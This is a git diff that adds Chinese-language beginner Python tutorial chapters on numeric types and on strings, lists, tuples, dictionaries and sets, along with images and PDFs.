diff --git "a/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" new file mode 100644 index 0000000..08e0c77 Binary files /dev/null and "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" differ diff --git "a/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/Python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272.md" "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/Readme.md" similarity index 99% rename from "1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/Python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272.md" rename to "1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/Readme.md" index 5adb2c2..dc53bc6 100644 --- "a/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/Python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272.md" +++ "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/Readme.md" @@ -487,6 +487,11 @@ VS Code 编辑器的详细使用细节这里我们就不展开了,后面教 > 2. 完成Windows/Mac OS /Linux 至少2种操作系统的VS Code安装和测试 >3. 完成“hello world”程序编写,进行调试启动、非调试启动、断点单步调试、断点逐过程调试、中断程序运行、调试过程中重启 + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + 欢迎到关注微信订阅号,交流学习中的问题和心得 diff --git "a/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/img/00.jpeg" "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/img/00.jpeg" differ diff --git a/1.1.pdf b/1.1.pdf new file mode 100644 index 0000000..08e0c77 Binary files /dev/null and b/1.1.pdf differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" new file mode 100644 index 0000000..1fc092b Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/Readme.md" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/Readme.md" new file mode 100644 index 0000000..33b8c41 --- /dev/null +++ "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/Readme.md" @@ -0,0 +1,276 @@ +# 1.2 数值类型 +从本节开始,我们快速练习Python编程基础,但是由于本教程的定位和篇幅所限,完整的编程基础内容,需要各位读者自行阅读相关书籍和教程。 + +数值类型,说白了就是处理各种各样的数字,Python中的数值类型包括整型、长整型、布尔、双精度浮点、十进制浮点和复数,这些类型在很多方面与传统的C类型有很大的区别。 + +Python中的数值类型都是不可变类型,意味着创建、修改数字的值,都会产生新的对象,当然这是幕后的操作,编程过程中大可不必理会。 + +新建1.2.py文件。 + +### 2.2.1 标准整型和长整型 + +标准整型等价于C中的有符号长整型(long),与系统的最大整型一致(如32位机器上的整型是32位,64位机器上的整型是64位),可以表示的整数范围在[-sys.maxint-1, sys.maxint]之间。整型字面值的表示方法有3种:十进制(常用)、八进制(以数字“0o”开头)和十六进制(以“0x”或“0X”开头)。 + +在1.2.py文件中添加如下代码: +```Python +# -*- coding:utf-8 -*- + +a = 0o101 +print("a="+str(a)) + +b=64 +print('b='+str(b)) +c=-237 +print('c='+str(c)) +d=0x80 +print('d='+str(d)) +e=-0x92 +print('e='+str(e)) +``` + +上面的代码输出结果为: + +![](img/1.png) + +长整型是整型的超集,可以表示无限大的整数(实际上只受限于机器的虚拟内存大小)。 +长整型和标准整型,目前已经基本统一,当数学运算遇到整型异常的情况,在Python2.2以后的版本,会自动转换为长整型。继续添加测试代码: + +![](img/2.png) + + +### 1.2.2 布尔型和布尔对象 + +布尔型其实是整型的子类型,布尔型数据只有两个取值:True和False,分别对应整型的1和0。 + +每一个Python对象都天生具有布尔值(True或False),进而可用于布尔测试(如用在if、while中)。 + +以下对象的布尔值都是False,除此之外是True: + +* None +* False(布尔型) +* 0(整型0) +* 0L(长整型0) +* 0.0(浮点型0) +* 0.0+0.0j(复数0) +* ''(空字符串) +* [>](空列表) +* ()(空元组) +* {}(空字典) +* 用户自定义的 类实例,该类定义了方法 __nonzero__() 或 __len__(),并且这些方法返回0或False + +下面我们通过几段代理来加深对布尔类型的认识。 +在1.2.py中添加测试代码: +```Python +#基本测试 +print(bool(1)) +print(bool(True)) +print(bool('0')) +print(bool([])) +print(bool((1,))) +``` +结果如下: + +![](img/3.png) + +下面我们看看bool类型作为只有0和1取值的特殊整型的特性。 + + +```Python +#使用bool数 +foo = 42 +bar = foo<42 + +print(bar) +print(bar+10) +print('%s' %bar) +print('%d' %bar) +``` + +运行结果如下: +``` +False +10 +False +0 +``` + + +再来验证下没有_nonzero_()方法的对象,默认是True。 + + +#无_nozero_() +class C:pass + +c=C() +print(bool(c)) + +运行结果如下: + +![](img/4.png) + + +### 1.2.3 双精度浮点型 + +Python里的浮点型数字都是双精度,类似C语言的double类型。可以用十进制或者科学计数法表示。下面我们看一些典型的浮点型数字。 + +添加测试代码: +``` +# 双精度浮点 +print(0.0) +print(-777.) +print(-5.555567119) +print(96e3 * 1.0) +print(-1.609E-19) +``` + +运行结果如下: +![](img/5.png) + + +### 1.2.4 复数 + +在Python中,有关复数的概念如下: + +* 虚数不能单独存在,它们总是和一个值为0.0的实数部分一起来构成一个复数。 +* 复数由实数部分和虚数部分组成。 +* 表示虚数的语法:real+imagj. +* 实数部分和虚数部分都是浮点型。 +* 虚数部分必须有后缀j或J。 + +复数可以用使用函数 complex(real, imag) 或者是带有后缀j的浮点数来指定。 + +下面添加代码测试复数: +```Python +print(complex(2, 4)) +print(1.23e-045+6.7e+089j) +``` + +运行结果如下: + +![](img/6.png) + + +### 1.2.5 十进制浮点型 + +十进制浮点通常称为decimal类型,主要应用于金融计算。双精度浮点型使用的是底和指数的表示方法,在小数表示上精度有限,会导致计算不准确,decimal采用十进制表示方法,看上去可以表示任意精度。 + +下面我们看一下十进制浮点的例子。 + +```Python +# 十进制浮点 +# 十进制浮点 +from decimal import * + +print("十进制浮点....") +dec=Decimal('.1') +print(dec) +print(Decimal(.1)) +print(dec +Decimal(.1)) +``` + +使用decimal类型,首先要引入decimal模块,然后通过Decimal类来初始化一个Decimal对象。 + +运行结果如下: + +![](img/7.png) + + +### 1.2.6 操作符 +在Python中同时支持不同数值类型的数字进行混合运算,数字类型不一致怎么做运算?这个时候就涉及到强制类型转换问题。这种操作不是随意进行的,它遵循以下基本规则: + +首先,如果两个操作数都是同一种数据类型,没有必要进行类型转换。仅当两个操作数类型不一致时,Python才会去检查一个操作数是否可以转换为另一类型的操作数。如果可以,转换它并返回转换结果。 + +由于某些转换是不可能的,比如果将一个复数转换为非复数类型,将一个浮点数转换为整数等等,因此转换过程必须遵守几个规则。要将一个整数转换为浮点数,只要在整数后面加个.0就可以了。要将一个非复数转换为复数,则只需要要加上一个“0j”的虚数部分。 + +这些类型转换的基本原则是:整数转换为浮点数,非复数转换为复数。在 Python 语言参考中这样描述coerce()方法: + + 如果有一个操作数是复数,另一个操作数被转换为复数。 + + 否则,如果有一个操作数是浮点数,另一个操作数被转换为浮点数。 + + 否则, 如果有一个操作数是长整数,则另一个操作数被转换为长整数; + + 否则,两者必然都是普通整数,无须类型转换。 + +数字类型之间的转换是自动进行的,程序员无须自己编码处理类型转换。Python 提供了 coerce() 内建函数来帮助你实现这种转换。 + +转换流程图如下图所示: + +![](img/8.png) + + +### 1.2.7转换工厂 + +函数 int(), long(), float() 和 complex() 用来将其它数值类型转换为相应的数值类型。从Python2.3开始,Python 的标准数据类型添加了一个新成员:布尔(Boolean)类型。从此 true和 false 现在有了常量值即 True 和 False(不再是1和0)。 + +下面继续添加代码进行测试。 +```Python +print("转换工厂....") +print(int(4.2222222)) +print(float(4)) +print(complex(4)) +``` +结果如下: + +![](img/9.png) + +### 1.2.8 进制转换 + +目前我们已经看到Python支持8进制、十进制和十六进制整型,同时还提供了oct()和hex()内建函数来返回八进制和十六进制字符串。 + +添加测试代码: +```Python +#进制转换 +print("进制转换....") +print(hex(255)) +print(oct(255)) +print(oct(0x111)) +``` +运行结果如下: +![](img/10.png) + +### 1.2.9 ASII 转换 + +chr函数和ord函数分别用来将数字转换为字符,和字符转换为数字。 + +添加测试代码: +```Python +#ASCII转换 +print("进制转换....") +print(chr(76)) +print(ord('L')) +``` +运行结果如下: + +![](img/11.png) + +### 1.2.10 + +本节对Python数值类型做个比较全面的讲解,更高级的科学计算,推荐大家了解两个著名的第三方包,NumPy和SciPy。 + +本节留给大家的练习题目也很简单: + +1. 将文章中所有代码手动敲打一遍 +2. 扩展阅读,请自行查阅资料了解Python常用的数学函数: + +* ceil(x) +* floor(x) +* fabs(x) +* factorial (x) +* hypot(x,y) +* sqrt(x*x+y*y) +* pow(x,y) +* sqrt(x) +* log(x) +* log10(x) +* trunc(x) +* isnan (x) +* degree (x) +* radians(x) + +下一节,我们继续学习Python中常用的几种数据结构。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/0.jpg" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/0.jpg" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/1.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/1.png" new file mode 100644 index 0000000..7b8a676 Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/1.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/10.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/10.png" new file mode 100644 index 0000000..b7f1e7b Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/10.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/11.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/11.png" new file mode 100644 index 0000000..c7e28f4 Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/11.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/2.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/2.png" new file mode 100644 index 0000000..87f7258 Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/2.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/3.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/3.png" new file mode 100644 index 0000000..85e31c4 Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/3.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/4.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/4.png" new file mode 100644 index 0000000..2d1f17f Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/4.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/5.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/5.png" new file mode 100644 index 0000000..3fd82f6 Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/5.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/6.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/6.png" new file mode 100644 index 0000000..4ef597f Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/6.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/7.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/7.png" new file mode 100644 index 0000000..58991ed Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/7.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/8.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/8.png" new file mode 100644 index 0000000..1dcd4f8 Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/8.png" differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/9.png" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/9.png" new file mode 100644 index 0000000..3f58339 Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/img/9.png" differ diff --git a/1.2.pdf b/1.2.pdf new file mode 100644 index 0000000..1fc092b Binary files /dev/null and b/1.2.pdf differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" new file mode 100644 index 0000000..18f11a4 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/Readme.md" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/Readme.md" new file mode 100644 index 0000000..10fb0d8 --- /dev/null +++ "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/Readme.md" @@ -0,0 +1,432 @@ +# 1.3 字符串、列表、元组、字典和集合 + +本节要介绍的是Python里面常用的几种数据结构。通常情况下,声明一个变量只保存一个值是远远不够的,我们需要将一组或多组数据进行存储、查询、排序等操作,本节介绍的Python内置的数据结构可以满足大多数情况下的需求。这一部分的知识点比较多,而且较为零散,需要认真学习。 + +## 1.3.1 字符串 +开始练习之前请新建string.py文件,将下面展现的代码逐步添加到该文件中,进行调试,查看输出结果。 + +#### 初始化 + +字符串是 Python 中最常用的数据类型。我们可以使用引号('或")来创建字符串。 +创建字符串很简单,只要为变量分配一个值即可。下面添加代码进行测试: + +```Python +# -*- coding:utf-8 -*- + +#声明字符串 +str1 ='Hello World!' +str2 ="hello 玄魂!" +print('声明字符串.....') +print(str1) +print(str2) +``` +运行结果如下: + +![](img/1.png) + +#### 字符访问 + +Python不支持单字符类型,单字符在Python也是作为一个字符串使用。Python访问子字符串,可以使用方括号来截取字符串,下面添加代码来测试: + +```Python +#访问字符内容 +print('访问字符内容.....') +print("str1[0]: ", str1[0]) +print("str2[1:5]: ", str2[1:5]) +``` +运行结果如下: + +![](img/2.png) + +#### 转义 + +在需要在字符中使用特殊字符时,python用反斜杠(\\)转义字符。如下表: + +![](img/3.png) + +#### 操作符 + +下表列出了字符运算的操作: +假设 q="Hello",b="Python"。 +![](img/4.png) + +最后的字符串格式化,我们下面会单独介绍。 + +下面添加代码进行测试: + +```Python +#字符串操作符 +print('字符串操作符.....') +a ="Hello" +b ="Python" + +print("a + b 输出结果:", a + b) +print("a * 2 输出结果:", a *2) +print("a[1] 输出结果:", a[1]) +print("a[1:4] 输出结果:", a[1:4]) + +if("H" in a): + print("H 在变量 a 中") +else: + print("H 不在变量 a 中") + +if ("M" not in a): + print("M 不在变量 a 中") +else: + print("M 在变量 a 中") + +print (r'\n') +print (R'\n') +``` +运行结果如下: + +![](img/5.png) + +#### 格式化 + +Python 支持格式化字符串的输出。尽管这样可能会用到非常复杂的表达式,但最基本的用法是将一个值插入到一个有字符串格式符 %s 的字符串中。 + +下表列出了Python中的格式化符号: +![](img/6.png) + +在 Python 中,字符串格式化使用与 C 中 sprintf 函数一样的语法,例如: + +```Python +print("My name is %s and weight is %d kg!"%('玄魂',71)) +``` + +另外我们可以通过string 对象的format函数来进行格式化,例如: + +```Python +print("formart method call:My name is {name} and weight is {weight} kg!".format(name="玄魂",weight=71)) +``` + +上面两行代码的运行结果为: + +![](img/7.png) + +#### 三引号 + +python中三引号可以将复杂的字符串进行复制,python三引号允许一个字符串跨多行,字符串中可以包含换行符、制表符以及其他特殊字符。 + +三引号的语法是一对连续的单引号或者双引号(通常都是成对的用)。 + +添加如下测试代码: +```Python +#三引号 +print('三引号.....') +hi = '''hi + i am 玄魂''' +print(hi) +``` +运行结果如下: +![](img/8.png) + +#### 字符串内建函数 + +内建函数可以大大简化我们编程中对字符串操作的难度,具体的列表这里就不展示了,可以参考 +https://docs.python.org/3.4/library/stdtypes.html#string-methods + +## 1.3.2 列表 + +新建 list.py,用于练习列表操作。 + +序列是Python中最基本的数据结构。序列中的每个元素都分配一个数字 - 它的位置,或索引,第一个索引是0,第二个索引是1,依此类推。 + +Python有6个序列的内置类型,但最常见的是列表和元组。序列都可以进行的操作包括索引,切片,加,乘,检查成员。此外,Python已经内置确定序列的长度以及确定最大和最小的元素的方法。列表是最常用的Python数据类型,它可以作为一个方括号内的逗号分隔值出现。列表的数据项不需要具有相同的类型 + +#### 创建列表 + +创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可。使用下标索引来访问列表中的值,同样你也可以使用方括号的形式截取字符: + +```Python +# -*- coding:utf-8 -*- + +#创建list +print("创建list.......") +list1 =['physics','chemistry',1997,2000] +list2 =[1,2,3,4,5] +list3 =["a","b","c","d"] + +print("list1[0]: ", list1[0]) +print("list2[1:5]: ", list2[1:5]) +``` +运行结果如下: + +![](img/9.png) + +#### 更新列表 + +你可以对列表的数据项进行修改或更新,你也可以使用append()方法来添加列表项,如下所示: + +```Python +#更新 +print("更新list.......") +print("索引 2 的值: ") +print(list1[2]) +list1[2]=2001 +print("索引2更新后的值为 : ") +print(list1[2]) +``` + +运行结果如下: + +![](img/10.png) + +#### 删除列表元素 + +可以使用 del 语句来删除列表的的元素,如下所示: + +```Python +#删除 +print("删除list.......") +print("删除索引2处的值之前: ") +print(list1) +del(list1[2]) +print("删除索引2处的值之后: \n",list1) +``` +运行结果如下: + +![](img/11.png) + +#### 操作符 + +列表对 + 和 * 的操作符与字符串相似。+ 号用于组合列表,* 号用于重复列表。 + +添加如下测试代码: +```Python +#操作符 +print("操作符.......") +print('list1:',list1) +print('list2:',list2) + +list4 = list1 + list2 +print("list1 + list2 :",list4) + +list5 = ['hello']*4 +print('[\'hello\']*4:',list5) +``` +运行结果如下: + +![](img/12.png) + +#### 截取 + +Python的列表截取与字符串操作类似,如下所示: +```Python +#截取 + +print("列表截取.......") + +L =['玄','魂','玄魂!'] +##读取第二个元素 +print(L[2]) +##读取倒数第二个元素 +print(L[-2]) +##从第二个开始截取 +print(L[1:]) +``` + +运行结果如下: + +![](img/13.png) + +其他内置函数和方法,请参考:https://docs.python.org/2/tutorial/datastructures.html + +## 1.3.3 元组 + +新建tuple.py文件。 + +Python的元组与列表类似,不同之处在于元组的元素不能修改。元组使用小括号,列表使用方括号。元组创建很简单,只需要在括号中添加元素,并使用逗号隔开即可。元组的各项操作和列表类似。添加如下测试代码: + +```Python +# -*- coding:utf-8 -*- + +tup0=()#空元组 +tup1 = ('physics', 'chemistry', 1997, 2000) +tup2 = (1, 2, 3, 4, 5 ) +tup3 = "a", "b", "c", "d" +tup4= (50,)#元组中只包含一个元素时,需要在元素后面添加逗号 + +print("tup0: ", tup0) +print("tup1: ", tup1) +print("tup2[1:5]: ", tup2[1:5]) +print(tup4*4) +print(tup2+tup3) +print(tup1[1:]) +print(tup1[-2]) +``` + +运行结果如下: + +![](img/14.png) + +需要注意的是元组内元素不允许修改和删除,会引发错误。 + +## 1.3.4 字典 + +新建dic.py文件。 + +字典是另一种可变容器模型,且可存储任意类型对象。 +字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中 ,格式如下所示: + +```Python +d ={key1 : value1, key2 : value2 } +``` +键必须是唯一的,但值则不必。值可以取任何数据类型,但键必须是不可变的,如字符串,数字或元组。访问字典的某个值,只需要把相应的键放入方括弧即可。如果用字典里没有的键访问数据,会输出错误。在dic.py中添加如下代码: + +```Python +# -*- coding:utf-8 -*- + +dict ={'Name':'Zara','Age':7,'Class':'First'} + +print("dict['Name']: ", dict['Name']) +print("dict['Age']: ", dict['Age']) + +#访问不存在的key +print(dict['Xuanhun']) +``` +运行结果如下: + +![](img/15.png) + +下面继续添加代码,修改存储的值: +``` +#修改值 + +print("修改前",dict['Age']) +dict['Age']=8# update existing entry +print("修改后: ", dict['Age']) +``` +运行结果如下: + +![](img/16.png) + +字典类型能删单一的元素也能清空字典: +```Python +#删除 +del dict['Age']# 删除键是'Name'的条目 +#print("dict['Age']: ", dict['Age'])#引发异常 +dict.clear() # 清空词典所有条目 +print(dict) +del dict # 删除词典 + +print(dict) +``` +运行结果如下: + +![](img/17.png) + +下面我们简单总结下字典键的特性: + +1. 不允许同一个键出现两次。创建时如果同一个键被赋值两次,后一个值会被记住. +2. 键必须不可变,所以可以用数字,字符串或元组充当,所以用列表就不行,如下实例: + +## 1.3.5 集合 +请新建set.py文件,下面示例的代码添加到此文件运行调试。 + +把不同元素放在一起就组成了集合,集合的成员被称为集合元素。Python的集合和数学的结合在概念和操作上基本相同。Python提供了两种集合:可变集合和不可变集合。 + +创建集合的方法如下: + +```Python +# -*- coding: UTF-8 -*- + +s1=set('abcdde') +s2=set([1,2,3,4,5]) +s3 = frozenset("xuanhun") + +print(type(s1)) +print(type(s3)) +print(s2) +``` +运行结果如下: + +![](img/18.png) + + +由于集合本身是无序的,所以不能为集合创建索引或切片操作,只能循环遍历或使用in、not in来访问或判断集合元素。接上面的代码,添加一个循环输出集合内容: + +```Python +#输出集合内容 +for item in s3: + print(item) +``` + +运行结果如下: + +![](img/19.png) + +从上图的结果,我们可以看到集合无序,无重复元素的特性。 + +我们可以使用内建的方法来更新集合: + +``` +s.add() +s.update() +s.remove() +``` + +下面添加测试代码: +```Python +#update +s2=set([1,2,3,4,5]) +print("原始数据:",s2) +s2.add("j") +print("添加数据后:",s2) +s2.remove(3) +print("删除数据后:",s2) +s2.update([6,7,8,9]) +print("update数据后:",s2) +``` + +运行结果如下: + +![](img/20.png) + +联合(union)操作与集合的OR操作其实等价的,联合符号有个等价的方法,union()。 + +测试代码如下: + +```Python +#union +s1=set('abcdde') +s2=set([1,2,3,4,5]) +s4=s1|s2 +print(s4) +``` + + +与集合AND等价,交集符号的等价方法是intersection()。测试代码如下: + +```Python +#inter +print("s1&s2",s1&s2) +``` +差集等价方法是difference()。测试代码如下: + +```Python +#dif +print("s1-s2",s1 -s2) +print("s1 dif s2",s1.difference(s2)) +``` + +运行结果如下: + +![](img/22.png) + +## 1.3.6 小结 + +基本的数据结构我们就介绍到这,相信你也有了整体的印象了,但是肯定觉得内容又过于简单了。我们会在后续的编码实践中,持续讲解没有接触到的内容。同时希望各位读者尽量拓宽基础知识。 + +本节留给大家的练习题如下: + +1. 编写代码实现逆序输出一个列表 +2. 编写代码实现查找并替换一个字符串中的一段连续内容 + +下一节我们将会学习流程控制,可以利用现有的知识完成一些小功能了。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/0.jpg" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/0.jpg" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/1.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/1.png" new file mode 100644 index 0000000..4a2af61 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/1.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/10.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/10.png" new file mode 100644 index 0000000..ccd2b0c Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/10.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/11.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/11.png" new file mode 100644 index 0000000..1a1e5cc Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/11.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/12.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/12.png" new file mode 100644 index 0000000..3d17609 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/12.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/13.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/13.png" new file mode 100644 index 0000000..1df9045 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/13.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/14.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/14.png" new file mode 100644 index 0000000..9c9c08a Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/14.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/15.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/15.png" new file mode 100644 index 0000000..5139944 Binary files /dev/null and 